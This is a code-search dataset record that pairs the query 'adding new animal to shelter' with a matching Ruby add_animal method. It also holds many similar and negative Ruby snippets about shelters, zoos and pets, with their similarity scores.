"def list_all_animals(shelter)\n\n if shelter.animals.any?\n puts \"*** List of all animals ***\"\n shelter.animals.each do |key, x|\n puts \"Name: #{x.name}, Breed: #{x.breed}, Gender: #{x.gender}, Age: #{x.age}, Toys: #{x.toys.join(', ')}, Adoption: #{x.adoption}\"\n end\n else\n puts \"We have no animals left!\"\n end\n\nend",
"def display_all_animals\n animals\n end",
"def disp_animals\n @animals.each do |animal|\n puts \"Name: #{animal.name}\"\n puts \"Species: #{animal.species}\"\n end\n end",
"def index\n if (@shelter.present?)\n @animals = @shelter.animals\n else\n @animals = Animal.all\n end\n end",
"def index # public\n if params[:shelter_id]\n set_shelter\n render json: @shelter.animals\n else\n @animals = Animal.includes(:shelter).all\n render 'index.json.jbuilder'\n end\n end",
"def all_animal_species\n #binding.pry\n all_animals.select{|species|species.zoo == self }.uniq\n end",
"def adoption_list(shelter)\n\n if shelter.animals.any?\n puts \"*** List of animals available for adoption ***\"\n shelter.animals.each do |key, x|\n if x.adoption == \"y\"\n puts \"Name: #{key}, Breed: #{x.breed}, Gender: #{x.gender}, Age: #{x.age}, Toys: #{x.toys.join(', ')}, Adoption: #{x.adoption}\"\n end\n end\n else\n puts \"We have no animals left!\"\n end\n\nend",
"def display_all_animals\n animals.each_with_index do |animal, index|\n puts \"Animal ##{index + 1}. #{animal.name}\"\n end\n end",
"def view_animals(clients, shelter)\n\t# iterates through the array of pets at the shelfter and prints the animal's details\n\tshelter.pets.each { |pet| puts pet.to_s } # why does the shelter's pets array get displayed?\n\t\n\tputs\n\tputs \"Enter the name of the animal you would like to adopt:\"\n\tanimal_selected = gets.chomp.capitalize\n\t# find the animal in the animals array, delete and add as a pet to the client\n\tanimal_to_adopt = shelter.pets.find { |pet| animal_selected == pet.name }\n\tputs \"What is your name?\"\n\tclient_name = gets.chomp\n\tadopt_animal(animal_to_adopt, shelter.pets, clients)\nend",
"def animals \n animals_zoo = [] \n Animal.all.select do | animal | \n if animal.zoo == self \n animals_zoo << animal \n end \n end \n animals_zoo\n end",
"def animals\n Animals.all.select { |animal| animal.zoo == self }\n end",
"def return_animals\n puts @animals\n end",
"def animals\n Animal.all.select {|animal| animal.zoo == self}\n end",
"def get_animals()\n\n @animals = @raw.raw_animals.keys.uniq.sort_by(&:downcase)\n\n end",
"def animals \n Animal.all.find_all {|animal| animal.zoo == self}\n end",
"def animals \n Animal.all.select {|animal| animal.zoo == self}\n end",
"def animals()\n Animal.all.select { | animal | animal.zoo() == self }\n end",
"def animal_species()\n self.animals().map() { | animal | animal.species() }.uniq\n end",
"def add_animal(animal)\n puts \"Animal added to shelter: #{animal.get_animal_info}\"\n @animals_in_shelter.push(animal)\n end",
"def all_animals(animals=[])\n animals << animal\n decorated_tail(animals) { next_link.all_animals(animals) }\n end",
"def zoo\n animals.map(&:zoo).uniq\n # binding.pry\n end",
"def all_animals\n Animal.all.select do |animal| \n # binding.pry\n animal.zoo == self\n end\n end",
"def animal_species\n Animal.all.map do |animal|\n animal.specie\n end.uniq\n end",
"def list_all_clients(shelter)\n if shelter.clients.any?\n shelter.clients.each do |key, x|\n puts \"ID: #{key}, Name: #{x.name}, Age: #{x.age}, Gender: #{x.gender}, Kids: #{x.kids}, Pets: #{x.pets.join(', ')}\"\n end\n else\n puts \"We have no clients left! We need to rethink our strategy!\"\n end\nend",
"def do_names\n animal_list = get_names()\n print_names(animal_list)\n end",
"def animal_species\n animals.map { |animal| animal.species}.uniq\n end",
"def get_shelves\n shelves = [@shelf_ag, @shelf_hp, @shelf_qz]\n return shelves\n end",
"def set_animal_shelter\n @animal_shelter = AnimalShelter.find(params[:id])\n end",
"def index\n if params[:search]\n @animal_shelters = AnimalShelter.search(params[:search]).order(\"created_at DESC\")\n else\n @animal_shelters = AnimalShelter.all.order('created_at DESC')\n end \n end",
"def index\n @animals = Animal.all\n end",
"def list_command\n age = get_param(\"age\\=\", \"(\\d+)\")\n type = get_param(\"type\\=\", \"([a-zA-Z]+)\")\n\n @app.list_animals(age, type)\n end",
"def animals\n Animal.all.select do |animal|\n animal.origin == self\n end \n end",
"def animal_species\n Animals.uniq.select { |animal| animal.species }\n end",
"def animal_species\n animal_arr = self.animals.map do |animal|\n animal.species\n end.uniq\n end",
"def run(animals) # adding the run word to the dictionary metaphorically\n puts \"Welcome to the Pet Shop!!!\"\n puts \"Please make a selection:\"\n puts \"1. View a list of all animal names\"\n puts \"2. View all cats\" # view all cat names, not all cat instances\n puts \"3. Search for an animal by name\"\n choice = gets.chomp # remove whitespace and newlines ie \"1\\n\" vs \"1\"\n \n if choice == \"1\"\n puts animals.map do |animal| #use do/end for multiline blocks, {} for single line\n puts \"saw #{animal[:name]}\"\n animal[:name]\n end\n # YOU CANNNN DO THIS WITH EACH BUT MAP/COLLECT IS BETTER\n # just_names = []\n # all_animals.each { |ele| just_names << ele[:name]}\n # just_names\n elsif choice == \"2\" \n puts animals.filter { |animal| animal[:species] == \"cat\" } # an array of cat hashes\n # chaining enumberables! \n # puts animals.filter { |animal| animal[:species] == \"cat\" }.map { |cat| cat[:name]} # change this to print a list of cat names\n elsif choice == \"3\"\n puts \"What is the animal's name?\"\n search = gets.chomp\n puts animals.find { |ani| ani[:name] == search }\n else\n puts \"Give me a valid choice please!\"\n run(animals)\n end\n\n # binding.pry # to stop me to inspect animals, choice etc\nend",
"def listCandies()\n @shelves.each { |shelf|\n shelf.getCandies.each{ |candy|\n puts candy.getName\n }\n }\n end",
"def adopt_animal(name)\n @animals_in_shelter.each_with_index do |animal, i|\n if name == animal.get_animal_name\n puts \"#{name} has been adopted!\"\n @animals_in_shelter.delete_at(i)\n end\n end\n end",
"def list_dogs\n @db.execute('SELECT * from dogs') { |row|\n puts \"#{row ['id']} #{row ['name']}\"\n }\n end",
"def dogs \n dogs = self.walks.map {|walk| walk.dog}\n dogs.uniq\n end",
"def print_animal_list(input)\n puts \"\", \"Listing the animals under the #{input} conservation status.\"\n puts \"\", \" Animal Name Scientific Name \"\n puts \"-------------------------------------------------------------------\"\n EndangeredAnimals::Animal.reset\n EndangeredAnimals::Scraper.create_from_index_page(input)\n animals = EndangeredAnimals::Animal.all\n animals.each.with_index(1) do |animal, index|\n puts \"#{index.to_s.rjust(2)}#{\".\".ljust(3)} #{animal.name.ljust(28)} #{animal.scientific_name.ljust(30)}\"\n end\n end",
"def species\n self.waters.map{|water| water.species.map{|s| s.name } }.flatten.uniq.sort\n end",
"def index\n @animals = @person.animals\n end",
"def sell_pets\n all_animals = self.pets.values\n\n all_animals.each do |species|\n species.each {|pet| pet.mood = \"nervous\"}\n species.clear\n end\n end",
"def list_pets\n dog_n = self.pets[:dogs].size\n cat_n = self.pets[:cats].size\n fish_n = self.pets[:fishes].size\n\n \"I have #{fish_n} fish, #{dog_n} dog(s), and #{cat_n} cat(s).\"\n #self.pets.each do |key,value|\n \n end",
"def list_endangered_animals(hashed_list)\n hashed_list.each { |key, value| puts \"#{key} - #{value}.*\" }\nend",
"def list_all_toys\n\tchild_ids = LootBag.toy_bag.keys\n\tnames = child_ids.map {|key| hash_query(key, Children[\"children\"], \"child_id\", \"child_name\")}\n\ttoys = []\n\tchild_ids.each_with_index do |id, index|\n\t\ttoys = LootBag.toy_bag[id].map {|key| hash_query(key, Toys[\"toys\"], \"toy_id\", \"toy_name\")}\n\t\tputs \"#{names[index]} wants:\"\n\t\tputs toys\n\tend\nend",
"def index\n @dish_mixtures = DishMixture.all\n end",
"def dogs\n collection_of_dogs = []\n Dog.all.each do |dog|\n if dog.owner == self\n collection_of_dogs << dog\n end \n end \n return collection_of_dogs\n end",
"def man_shelters\n prepareBaseContext\n @shelters = Shelter.all\n render 'petshelter/management/shelters'\n end",
"def animal_species(species)\n #animal.species\n self.animals.select do | animal |\n animal.species == species \n end \n end",
"def index\n @animal_foods = AnimalFood.all\n end",
"def run(animals_array) # this is just the definition \n puts \"WELCOME TO THE PET STORE!!!\"\n puts \"Would you like to...\"\n puts \"1. See a list of all pet names?\"\n puts \"2. See a list of all dogs?\"\n puts \"3. Find an animal by name?\"\n choice = gets.chomp\n if choice.chomp == \"1\"\n # puts \"you selected see all names\"\n # all_names = []\n # animals_array.each { |animal| all_names << animal[:name] }\n # all_names\n p animals_array.map { |animal| animal[:name] } # or collect!!\n \n elsif choice.chomp == \"2\"\n p animals_array.select { |animal| animal[:species] == \"dog\" }\n # alternates are filter and find_all\n elsif choice.chomp == \"3\"\n puts \"Which animal are you looking for?\"\n name = gets.chomp\n p animals_array.find { |ani| ani[:name] == name } # or detect\n binding.pry\n else\n puts \"That was not a valid option. Please try again!\"\n run(animals_array)\n end\n\n\nend",
"def show\n @adopter = Adopter.new\n @shelter = @animal.shelter\n end",
"def list_cats\n Cat.all.each_with_index do |kitty, i| \n puts \"\\n#{i + 1}. #{kitty.name} 🐈\"\n ##### if no owner\n if kitty.owner.nil?\n puts \"Breed: #{kitty.breed} | Color: #{kitty.color.capitalize}\"\n puts \"Food preference: #{kitty.favorite_food.capitalize} | Gets along with other cats? #{kitty.temperament.to_s.capitalize}\"\n puts \"\\n----------------------------------------------------------------------------\"\n ##############\n else\n puts \"Owner: #{kitty.owner.name}\"\n puts \"Breed: #{kitty.breed} | Color: #{kitty.color.capitalize}\"\n puts \"Food preference: #{kitty.favorite_food.capitalize} | Gets along with other cats? #{kitty.temperament.to_s.capitalize}\"\n puts \"\\n----------------------------------------------------------------------------\"\n end\n end\n end",
"def all_petshops\n sql = %Q[\n select * from #{@shops_table}\n ]\n\n # output a header\n puts \"ID | Name\"\n puts \"------------------------\"\n\n # execute query and iterate through the result set\n results = @db.exec(sql)\n results.each do |shop|\n puts \"#{shop[\"id\"]} | #{shop[\"name\"]}\"\n end\n end",
"def shopping_list\n self.ingredients.map {|i| i.name}.uniq\n end",
"def formatted_animal_list\n output_strings = []\n if @animals.empty?\n output_strings << \"No animals to display.\"\n else\n output_strings << \"---- Animal List ----\"\n @animals.each { |k, animal| output_strings += animal.formatted_animal_display_info }\n end\n return output_strings\n end",
"def drink_list #makes the menu\n Recipe.all.each.with_index(1) do |x, index|\n puts \"#{index} #{x.drink_name}\"\n end\n end",
"def display_animals(animals)\n puts `clear`\n\n \n animals.each_with_index do | c, index |\n name = c.name\n species = c.species\n age = c.age\n gender = c.gender\n toys = c.toys?\n\n puts \"[#{ (index+1)}] Species: #{species.ljust(6)} Age: #{age} Gender: #{gender.ljust(6)} Age: #{age} Name: #{name}\"\n end\n \n\n puts\n puts \"[b] back to main menu\"\n puts\n user_choice = fetch_input \"Enter selection: \"\n\n\nend",
"def list\n for song in self.songs\n puts song.name\n end\n end",
"def shoes\n results = DATABASE.execute(\"SELECT * FROM shoes WHERE category_id = #{@id};\")\n\n store_results = []\n\n results.each do |hash|\n store_results << Shoe.new(hash)\n end\n\n return store_results\n end",
"def dogs\n\t\t# Note that you call upon the other class within this class.\n\t\tDog.all.select do |dog|\n\t\t\tdog.owner == self\n\t\tend\n\tend",
"def animal_nicknames()\n self.animals.map() { | animal | animal.nickname }\n end",
"def shelter_pets(options = {})\n defaults = {'id' => 1}\n options = defaults.merge(options)\n \n @petfinder.shelter_pets(options['id'], options)\n end",
"def give_pet_up_to_shelter(animal_name, animal_instance_name, shelter_instance_name)\n @number_of_pets = @number_of_pets - 1\n @pets.delete(animal_name)\n shelter_instance_name.animals[animal_name] = animal_instance_name\n end",
"def adopt_pet_from_shelter(animal_name, animal_instance_name, shelter_instance_name)\n @number_of_pets = @number_of_pets + 1\n @pets[animal_name] = animal_instance_name\n shelter_instance_name.animals.delete(animal_name)\n end",
"def add_animal\n animal = Animal.all.sample(1).map {|x| [x.name => [x.preferred_temp, x.location, x.skin, x.colour, x.size, x.motion, x.mouth, x.temprement, x.diet].reduce({}, :merge!)]}.flatten(1) #pick an animal\n p animal\n k1 = inhabited_we.map {|x| x.supports.map {|x| x.keys}.flatten(2)\n p k1\n k2 = animal.map {|k| k.map {|k,v| v.keys}}.flatten(2) \n p k2 #check to see if the environment supports this kind of animal\n while (k1 & k2).empty? \n animal = Animal.all.sample(1).map {|x| [x.name => [x.preferred_temp, x.location, x.skin, x.colour, x.size, x.motion, x.mouth, x.temprement, x.diet].reduce({}, :merge!)]}.flatten(1) \n end \n p animal \n self.world_environments.map {|x| x.animals}.merge!(animal)}\n end",
"def animal_nicknames\n animals.select{ |animal| animal.zoo == self}.map {|animal| animal.nickname}\n end",
"def species\r\n villagers.map{ |villager| villager.species}\r\n end",
"def index\n @animal_images = AnimalImage.all\n end",
"def all_gyms\n lifter_membership.map {|lifter| lifter.gym}\n end",
"def initialize(species)\n @species = species\n @@all << self\n @pets = {fishes: [], dogs: [], cats: []}\n end",
"def random_animal\n\t animals.sample\n end",
"def initialize(species)\n @species = species\n @pets = {fishes: [], cats: [], dogs: []}\n @name = name\n @@all << self \n end",
"def hunks\n each_hunk.to_a\n end",
"def index\n @galaxies_elliptical_galaxies = Galaxies::EllipticalGalaxy.all\n end",
"def all\n @recipes\n end",
"def all\n @recipes\n end",
"def all\n @recipes\n end",
"def index\n @showers = Shower.all\n end",
"def index\n @shelters = Shelter.where(filtering_params)\n render json: @shelters\n end",
"def index\n @doggies = Doggy.all\n end",
"def index\n @species = Species.all\n end",
"def index\n @species = Species.all\n end",
"def index\n @galaxies = Galaxy.all\n end",
"def index\n\t\t@dogs = Dog.all\n\tend",
"def index\n @sicks = Sick.all\n end",
"def index\n @type_animals = TypeAnimal.all\n end",
"def animal_nicknames \n self.animals.map do |animal|\n animal.nickname\n end \n end",
"def print_songs\n puts @songs.collect {|song| song.name}\n end",
"def print_songs\n song_names = []\n self.songs.collect {|song| song_names << song.name}\n puts song_names\n end",
"def pets\n\t\t@pets_list\n\tend",
"def find_shelters(options = {})\n defaults = {'location' => '90210'}\n options = defaults.merge(options)\n \n @petfinder.find_shelters(options['location'], options)\n end",
"def breweries_list \n Brewery.all.each.with_index(1) do |brewery, i|\n puts \"\"\n puts \"\"\n puts \"#{i}. #{brewery.name}\"\n end \n brewery_selection\n end",
"def small_dogs\n small_array = []\n @dogs.each do |dog|\n if dog[:size] == :small\n small_array << dog\n end\n end\n p small_array\n end",
"def animal_hash\n hash = Hash.new\n\n @inventory.each do |animal|\n first_letter = animal.kind[0]\n if hash[first_letter]\n hash[first_letter] << animal\n else\n hash[first_letter] = [animal]\n end\n hash\n end\n\nend",
"def dogs\n Dog.doggies.select { |dogs| dogs.owner == self }\n end",
"def index\n @dogs = Dog.all\n end",
"def index\n @dogs = Dog.all\n end",
"def index\n @shelter = Shelter.first\n @pets = Pet.get_available_pets.order(:pet_type)\n if (!@cart)\n set_cart\n end\n @selectedPets = @cart.selected_pets\n end"
] |
[
"0.7623735",
"0.723639",
"0.6934487",
"0.6831511",
"0.6737274",
"0.6706811",
"0.6560124",
"0.6542465",
"0.6529723",
"0.6493381",
"0.64846635",
"0.64819205",
"0.6429586",
"0.6407781",
"0.6362401",
"0.62835073",
"0.6274803",
"0.62569624",
"0.6208785",
"0.6191216",
"0.6153456",
"0.611279",
"0.60713905",
"0.60711503",
"0.60637295",
"0.60559785",
"0.6053748",
"0.6046288",
"0.60153747",
"0.59724027",
"0.5972241",
"0.59314",
"0.59307027",
"0.5829026",
"0.5770455",
"0.5766937",
"0.57553744",
"0.5734868",
"0.5728907",
"0.5719393",
"0.5712945",
"0.57005405",
"0.569159",
"0.56763697",
"0.5673075",
"0.5672919",
"0.5670583",
"0.5659562",
"0.5652991",
"0.5636",
"0.5618321",
"0.5598595",
"0.55920964",
"0.5586329",
"0.55756974",
"0.55652934",
"0.5560687",
"0.5553581",
"0.5552285",
"0.5531396",
"0.55150384",
"0.5508654",
"0.5506226",
"0.5504905",
"0.55040485",
"0.54976475",
"0.54963475",
"0.54887474",
"0.547532",
"0.5463444",
"0.5458902",
"0.5458245",
"0.54561114",
"0.5455286",
"0.54453254",
"0.54440486",
"0.54431486",
"0.54431486",
"0.54431486",
"0.5442909",
"0.54427177",
"0.5440573",
"0.54403543",
"0.54403543",
"0.5431757",
"0.54303044",
"0.5429848",
"0.542891",
"0.5420241",
"0.5415577",
"0.54069775",
"0.5401467",
"0.53896147",
"0.53883696",
"0.53823763",
"0.5381442",
"0.53794926",
"0.5376057",
"0.5376057",
"0.53756344"
] |
0.8338322
|
0
|
adding new animal to shelter
|
def add_animal(animal)
puts "Animal added to shelter: #{animal.get_animal_info}"
@animals_in_shelter.push(animal)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_animal\n species = get_answer_to(\"What is the species?\")\n name = get_answer_to(\"What is the animal\\'s name?\")\n animal = Animals.new(name, species)\n @animals << animal\n end",
"def add_animal(new_animal)\n output_strings = []\n\n # add animal if it doesn't exist yet\n if @animals[new_animal.name.to_sym].nil?\n @animals[new_animal.name.to_sym] = new_animal\n output_strings << \"New animal #{new_animal.name} added.\"\n else\n output_strings << \"That animal already exists. Not adding again.\"\n end\n end",
"def give_pet_up_to_shelter(animal_name, animal_instance_name, shelter_instance_name)\n @number_of_pets = @number_of_pets - 1\n @pets.delete(animal_name)\n shelter_instance_name.animals[animal_name] = animal_instance_name\n end",
"def add_initial_animal(animal)\n @animals.push(animal)\n end",
"def adopt_pet_from_shelter(animal_name, animal_instance_name, shelter_instance_name)\n @number_of_pets = @number_of_pets + 1\n @pets[animal_name] = animal_instance_name\n shelter_instance_name.animals.delete(animal_name)\n end",
"def add_animal(animal_hash)\n new_animal = Animal.new(animal_hash)\n new_animal.zoo = self \n end",
"def buy_fish(name)\n new_fish = Fish.new(name)\n self.pets[:fishes] << new_fish \n end",
"def add_pet_to_stock(shop,new_animal)\n shop[:pets] << new_animal\nend",
"def add_animal(animal)\n # binding.pry\n animal.zoo = self\n end",
"def set_animal_shelter\n @animal_shelter = AnimalShelter.find(params[:id])\n end",
"def buy_dog(dog_name)\n dog = Dog.new(dog_name)\n self.pets[:dogs] << dog\n end",
"def create_an_animal(shelter_or_client = animals)\n loop do\n print \"A name for the new Animal? \"\n name = gets.chomp\n\n print \"Its age? \"\n age = gets.chomp.to_i\n\n print \"Its gender? \"\n gender = gets.chomp\n\n print \"Its species? \"\n species = gets.chomp\n\n toys = []\n loop do\n print \"Give/add a Toy to the Animal? (leave blank to stop adding toys) \"\n break if (toy = gets.chomp).empty?\n toys.push(toy)\n end\n\n shelter_or_client << Animal.new(name, age, gender, species, *toys)\n\n print \"Add another Animal? (y/n) \"\n break unless (gets.chomp == \"y\")\n end\n end",
"def create\n @animal = @shelter.animals.build(animal_params)\n respond_with(@shelter)\n end",
"def add_animal(animal, animals)\n animals << animal\nend",
"def adopt_pet(animal)\n @pets_list.push(animal)\n end",
"def buy_dog(name)\n#know sabout its dogs\n pets[:dogs] << Dog.new(name)\n end",
"def buy_dog(name)\n pets[:dogs] << Dog.new(name)\n end",
"def add_pet(pet)\n @pets[pet.name.to_sym] = pet\n end",
"def add_shelf\n\t\[email protected](Shelf.new)\n\tend",
"def buy_dog(dog_name)\n self.dogs << Dog.new(dog_name,self)\n end",
"def buy_fish(fish_name)\n fish = Fish.new(fish_name)\n self.pets[:fishes] << fish\n end",
"def buy_dog(name)\n dog = Dog.new(name)\n @pets[:dogs] << dog\n end",
"def new_animal\n\tputs \"What is the name of the animal?\"\n\tname = gets.chomp.capitalize\n\tputs \"What species of animal is #{name}?\"\n\tspecies = gets.chomp.downcase\n\t# instantiating new Animal object\n\tanimal = Animal.new(name, species)\n\t# setting animal instance to $my_shelter\n\t$my_shelter.rescue_animal(animal)\nend",
"def buy_dog(new_name)\n # @dogs << Dog.new(name, self)\n Dog.new(new_name, self)\n end",
"def register_animal(animals, clients, shelter)\n\t# capture all the details of the animal\n\tputs \"What type of animal is it?\"\n\tspecies = gets.chomp.capitalize\n\tputs \"What breed of \" + species + \" is it?\"\n\tbreed = gets.chomp.capitalize\n\tputs \"What is the sex of the \" + species + \"?\"\n\tgender = gets.chomp.downcase\n\n\t# put a conditional so that the responses are using the right gender\n\tif gender.include?(\"f\")\n\t puts \"What is her name?\"\n\telse\n\t\tputs \"What is his name?\"\n\tend\n\tname = gets.chomp.capitalize\n\tputs \"How old is \" + name + \"?\"\n\tage = gets.chomp.to_i\n\tanimal_to_adopt = name.downcase.strip\n\t# create animal and make shelter the owner\n\tanimal_to_adopt = Animal.new(name, age, gender, species, breed)\n\t# adds the animal to shelter's \n\tshelter.put_up_for_adoption(animal_to_adopt)\n\tif gender.include?(\"f\")\n\t puts \"We'll take \" + name + \" and make sure she finds a great home :)\\n\"\n\telse\n\t\tputs \"We'll take \" + name + \" and make sure he finds a great home :)\\n\"\n\tend\n\t\n\t\n\n \nend",
"def buy_fish(name)\n @pets[:fishes] << Fish.new(name)\n end",
"def give_animal(shelter, animal)\n\n puts \"***Pet's registration details***\"\n animal.name = prompt {\"Enter pet's name:\"}\n\n animal.age = prompt {\"Enter pet's age:\"}\n\n animal.gender = validate_simple_input(%w(m f)) {prompt {\"Enter pet's gender: (m , f)\"}}\n \n if animal.gender != 'q' \n animal.breed = prompt {\"Enter pet's breed:\"}\n\n toys = prompt {\"Enter pet's toys: (separate with a comma)\"}\n animal.toys << toys.split(',')\n \n animal.adoption = validate_simple_input(%w(y n)) {prompt {\"For adoption? (y , n)\"}}\n\n if animal.adoption != 'q'\n shelter.animals[animal.name] = animal\n else\n puts \"Abort. Try agiain.\"\n end\n\n else\n puts \"Abort. Try agiain.\"\n end\n\nend",
"def add_pet_to_stock(shop, new_pet)\n shop[:pets] << new_pet\nend",
"def add_pet_to_stock(shop, new_pet)\n shop[:pets] << new_pet\nend",
"def buy_cat(cat_name)\n cat = Cat.new(cat_name)\n self.pets[:cats] << cat\n\n end",
"def create\n # @animal_shelter = AnimalShelter.new(animal_shelter_params)\n\n @animal_shelter = current_user.animal_shelters.build(animal_shelter_params)\n\n respond_to do |format|\n if @animal_shelter.save\n format.html { redirect_to @animal_shelter, notice: I18n.t('.shelter-created') || 'Animal shelter was successfully created.' }\n format.json { render :show, status: :created, location: @animal_shelter }\n else\n format.html { render :new }\n format.json { render json: @animal_shelter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_pet_to_stock(shop_name, new_pet)\n shop_name[:pets] << new_pet\nend",
"def add_animal\n animal = Animal.all.sample(1).map {|x| [x.name => [x.preferred_temp, x.location, x.skin, x.colour, x.size, x.motion, x.mouth, x.temprement, x.diet].reduce({}, :merge!)]}.flatten(1) #pick an animal\n p animal\n k1 = inhabited_we.map {|x| x.supports.map {|x| x.keys}.flatten(2)\n p k1\n k2 = animal.map {|k| k.map {|k,v| v.keys}}.flatten(2) \n p k2 #check to see if the environment supports this kind of animal\n while (k1 & k2).empty? \n animal = Animal.all.sample(1).map {|x| [x.name => [x.preferred_temp, x.location, x.skin, x.colour, x.size, x.motion, x.mouth, x.temprement, x.diet].reduce({}, :merge!)]}.flatten(1) \n end \n p animal \n self.world_environments.map {|x| x.animals}.merge!(animal)}\n end",
"def buy_fish(name)\n fish = Fish.new(name)\n @pets[:fishes] << fish\n end",
"def buy_fish(name)\n fish = Fish.new(name)\n @pets[:fishes] << fish\n end",
"def buy_fish(name)\n new_fish = Fish.new(name)\n if new_fish.class == Fish\n @pets[:fishes] << new_fish\n end \n end",
"def buy_fish(name)\n pets[:fishes] << Fish.new(name)\nend",
"def add_shelf(shelf_name)\n self.shelves.create(name: shelf_name)\n end",
"def addNewShelf()\n Shelf.new(self)\n end",
"def eat_fish(fish)\n @stomach << fish\n end",
"def buy_dog(name)\n dog = Dog.new(name, self)\n @dogs << dog\n end",
"def add_pet_to_stock(pet_shop, new_pet)\n pet_shop[:pets] << new_pet\nend",
"def add_pet_to_stock(shop, new_pet)\n shop[:pets].push(new_pet)\nend",
"def new_dog\n system 'clear'\n dog_name = TTY::Prompt.new.ask('Enter the name of your dog')\n\n if dog_exist?(dog_name)\n puts 'That name already exists.'\n sleep(2)\n new_dog\n end\n\n new_dog = Dog.create(name: dog_name)\n dogs << new_dog\n puts \"#{dog_name} has been added to your account.\"\n sleep(2)\n end",
"def add_pet_to_stock(shop, pet)\n shop[:pets] << pet\nend",
"def buy_fish(name)\n#knows about its fishes\n pets[:fishes] << Fish.new(name)\n end",
"def add_pet_to_stock(pet_shop, new_pet)\n pet_shop [:pets].push (new_pet)\nend",
"def add_animal(species, age)\n puts \"What species of animal are you bringing in?\"\n @species = gets.chomp.downcase\n\n puts \"How old is the animal?\"\n @age = gets.chomp.to_s\n end",
"def add_horse label\n new_horse = Horse.new( label )\n new_horse.racetrack = self\n self.horses.push( new_horse )\n end",
"def add_pet(pet)\n\t\t@pets_list << pet\n\tend",
"def eat(food)\n @stomach << food \n end",
"def add_pet_to_stock(pet_shop, new_pet)\n pet_shop[:pets].push(new_pet)\nend",
"def add_pet_to_stock(pet_shop, new_pet)\n pet_shop[:pets].push(new_pet)\nend",
"def add_pet_to_stock(pet_shop, new_pet)\n pet_shop[:pets].push(new_pet)\nend",
"def add_pet_to_stock(pet_shop, new_pet)\n pet_shop[:pets].push(new_pet)\nend",
"def add_pet_to_stock(pet_shop, new_pet)\n pet_shop[:pets].push(new_pet)\nend",
"def add_pet_to_stock(petshop,new_pet)\n petshop[:pets].push(new_pet)\n return petshop\n end",
"def add(beer)\n \t$catalogue << beer\n end",
"def add_ingredient_to_recipe quantity, measure, food_item_name, recipe \n food_item = FoodItem.new(:name => food_item_name, :price => nil)\n ingredient = Ingredient.new(:food_item => food_item, :quantity => quantity, :measure => measure, :recipe_id => recipe.id)\n recipe.ingredients << ingredient\n end",
"def buy_fish(name)\n pets[:fishes] << Fish.new(name)\n end",
"def buy_fish(name) # expect(owner.pets[:fishes].count).to eq(0)\n new_fish = Fish.new(name) # owner.buy_fish(\"Bubbles\")\n self.pets[:fishes] << new_fish # owner.pets[:fishes].each { |fish| expect(fish).to be_a(Fish)}\n new_fish # expect(owner.pets[:fishes].count).to eq(1)\n # = knows about its fishes; Owner knows all about its pets - Owner sets name of pet, the pet can\\'t change its name\n # owner.buy_fish(\"Bubbles\")\n # expect(owner.pets[:fishes][0].name).to eq(\"Bubbles\")\n end",
"def add_new_client\n client = create_client\n $shelter[:clients] << client\n puts client.detail_info?\n puts \"Successfully added\"\n gets\nend",
"def adopt_animal(selection)\n animals = $shelter[:animals]\n client = $shelter[:clients][selection]\n\n user_choice = display_animals(animals)\n\n if user_choice.downcase == \"b\"\n list_clients\n elsif user_choice.to_i == 0\n adopt_animal(selection)\n elsif user_choice.to_i > animals.length\n adopt_animal(selection)\n else\n user_choice = (user_choice.to_i) -1\n\n animal = $shelter[:animals][ user_choice ]\n $shelter[:clients][selection].pets << animal\n puts \"#{client.name} has just adopted #{animal.name} the #{animal.species}\"\n $shelter[:animals].delete_at( user_choice )\n gets\n end\n\n client_details(selection)\n \nend",
"def accept_animal(k, v)\n @animals[k] = v\n end",
"def add_client(name)\n\tage = prompt_input(\"How old are you, #{name}?\").to_i\n\tnumber_of_pets = prompt_input('How many pets do you have now?').to_i\n\tputs \"Thanks, #{name}! We're glad to have you with us.\"\n\n\t$shelter.clients[name] = Person.new(name, age, number_of_pets)\n\tend",
"def add_shelves\r\n\t\tputs \"I understand you want to add a new shelf.\"\r\n\t\tputs \"What is the name of your shelf?\"\r\n\t\tnew_shelf = gets.chomp\r\n\t\tputs \"Alright! I am adding #{new_shelf} to your list of shelves. Is that correct?\"\r\n\t\tif y_or_n\r\n\t\t\tadd_shelf(@db, new_shelf)\r\n\t\t\tputs \"I have added your shelf!\"\r\n\t\tend\r\n\t\tmanage_shelves\r\n\tend",
"def addFood(newFood)\n name = newFood.name\n if @base.has_key?(name.downcase)\n puts(\"Database already contains this food\")\n else\n @base[name.downcase] = newFood\n end\n end",
"def add_pet_to_stock(pet_shop, pet)\n pet_shop[:pets].push(pet)\nend",
"def buy_cat(name)\n cat = Cat.new(name)\n @pets[:cats] << cat\n end",
"def add_pet_to_stock(pet_shop_hash, new_pet)\n pet_shop_hash[:pets] << new_pet\nend",
"def add_ingredient(ingredient)\n\t\[email protected](ingredient)\n\tend",
"def add_ingredient(ingredient)\n @ingredients.push(ingredient)\n end",
"def add_dog(name)\n @db.get_first_value('INSERT INTO dogs VALUES (null, :name)', \n ':name' => name)\n end",
"def buy_cat(name)\n pets[:cats] << Cat.new(name)\n end",
"def new\n @shelter = Shelter.new\n\n @shelter\n end",
"def buy_dog(name)\n new_dog = Dog.new(name,self)\n end",
"def add_pet_to_stock (pet_shop, new_pet)\nreturn pet_shop[:pets].push (new_pet)\nend",
"def river_held_fish(fish)\n @fish << Fish_name\nend",
"def add_pet_to_stock(shop, new_pet)\n return shop[:pets].push(new_pet)\nend",
"def buy_dog(dog_name)\n new_dog = Dog.new(dog_name, self)\nend",
"def adopt_animal(name)\n @animals_in_shelter.each_with_index do |animal, i|\n if name == animal.get_animal_name\n puts \"#{name} has been adopted!\"\n @animals_in_shelter.delete_at(i)\n end\n end\n end",
"def add_fish (fish)\n @fish_population << fish\n\n end",
